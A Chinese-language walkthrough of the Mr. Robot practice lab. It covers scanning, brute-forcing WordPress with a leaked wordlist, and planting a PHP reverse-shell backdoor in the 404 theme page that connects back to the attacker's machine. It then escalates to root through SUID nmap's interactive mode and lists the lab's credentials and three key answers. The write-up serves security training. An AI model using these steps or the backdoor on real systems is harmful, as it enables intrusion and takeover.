目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、渗透网页
3、Getshell
4、提权
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:linux 3.13.0-55-generic #94-Ubuntu SMP
2、使用工具/软件
Kali:arp-scan(主机探测)、nmap(端口服务扫描)、dirsearch(目录扫描)、burp suite(爆破用户名和密码)、nc(反弹shell连接)
测试网址:http://192.168.202.146
二、测试目的
渗透mrRobot靶机,找到三个txt文件,分别是:key-1-of-3.txt、key-2-of-3.txt和key-3-of-3.txt。通过字典泄露,爆破出用户名和密码,在后台中写入反弹shell的后门getshell,利用nmap的root权限,成功root权限
三、操作过程
1、信息搜集
找到靶机的IP地址:192.168.202.146
arp-scan -l
Nmap扫描靶机开放的端口和服务
nmap -sS -A -T4 -p- 192.168.202.146
扫描发现22端口关闭了,看来这个靶场不能进行ssh登录了
只能从web入手了,http和https页面提供内容是一样的
扫描web目录
是用dirsearch扫的,用gobuster必须加字典,字典太大了,用dirsearch扫常用目录即可
dirsearch -u http://192.168.202.146/ -i 200,301 --exclude-sizes=0B
发现这是wordpress
2、渗透网页
Wordpress默认账密登不上去,甚至是没有admin用户,看来是将admin用户删除了,有一定安全意识,那么弱口令看来是不大可能了
网站主页面的游戏,尝试了也没有什么收获,只回复命令,或者播放视频,没有什么有用的信息
查看下扫到的敏感目录文件
Intro页面是一个视频,看起来是网页资源;robots.txt文件,和靶机名字有些相似
Robots.txt文件用于指示搜索引擎爬虫哪些网站页面可以或不能被索引。
通常有disallow或者allow的前缀,后面是指定目录
果然有些发现,这里有其中一个key的目录和一个fsocity.dic的文件
查看key-1-of-3.txt文件,得到第一个key1:073403c8a58a1f80d943455fb30724b9
访问这个fsocity.dic文件,发现是一行行分开的,联想到dic的后缀名,这个格式,想到这应该是个字典
将字典保存为dict.txt文件,可以爆破的地方只有一个wordpress了
Wordpress有个特点,找回密码的页面可以输入用户名找回,这里可以枚举出存在的用户名,只给用户名添加变量即可
足足有85万条数据。。。。,吓人的数据量了。。这尝试爆一个数据就要一个下午。
不过,靶场作者还是放水的,数据中有大量的重复数据,这里爆破发现1w条左右就会有重复数据出现,只要对数据进行去重,相信字典并没有实际的那么大
Python去重脚本如下:
去重得到的result.txt,大小直接小了79倍,哈哈;现在爆破起来就轻松多了
爆破出了elliot
尝试一下,果然跳转页面了,这是一个用户名
然后在登录页面爆破密码试试,这次给密码加爆破变量就行,字典还选result.txt
爆破结果:ER28-0652
尝试wordpress登录,成功登录!
用户名:elliot
密码:ER28-0652
3、Getshell
拿到wordpress的用户管理界面
可以通过修改页面内容进行访问;
思路是:添加反弹shell脚本,然后进行访问,进行反弹shell连接,可以得到shell;由于wordpress就是php写的后端,因此,找一个可修改并访问的php页面即可;
先修改一下wordpress的中文
Settings==》general==》language
在外观的编辑中,看到了很多php文件,直接修改404页面的源代码并保存试试
添加反弹shell成功!
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>
尝试kali反弹shell连接
nc -lvvp 666
网页端访问404页面
http://192.168.202.146/wp-admin/404.php
成功getshell!
4、提权
进行常规漏洞点寻找,没有收获
查找suid权限文件时,看到有nmap;
早期nmap版本中,有交互模式,允许用户执行shell命令,可以用来提权
提权命令总结网站:
nmap | GTFOBins
版本:nmap2.02至5.21 这里版本是3.81,符合提权条件
利用suid提权成功!nmap执行shell将以root身份运行
/usr/local/bin/nmap –interactive
!sh
现在查找一下另外两个key
find / -name 'key-2-of-3.txt' 2>/dev/null
find / -name 'key-3-of-3.txt' 2>/dev/null
查看两个key,分别是:
Key2:822c73956184f694993bede3eb39f959
Key3:04787ddef27c3dee1ee161b21670b4e4
四、结论
放在公网的Web资源一定要谨慎检查,不能有用户名和密码泄露,这样降低了系统安全性。特殊权限的文件如Suid权限的文件的一定管理好,不能有nmap这样的可用来提权的文件,避免对系统造成危害。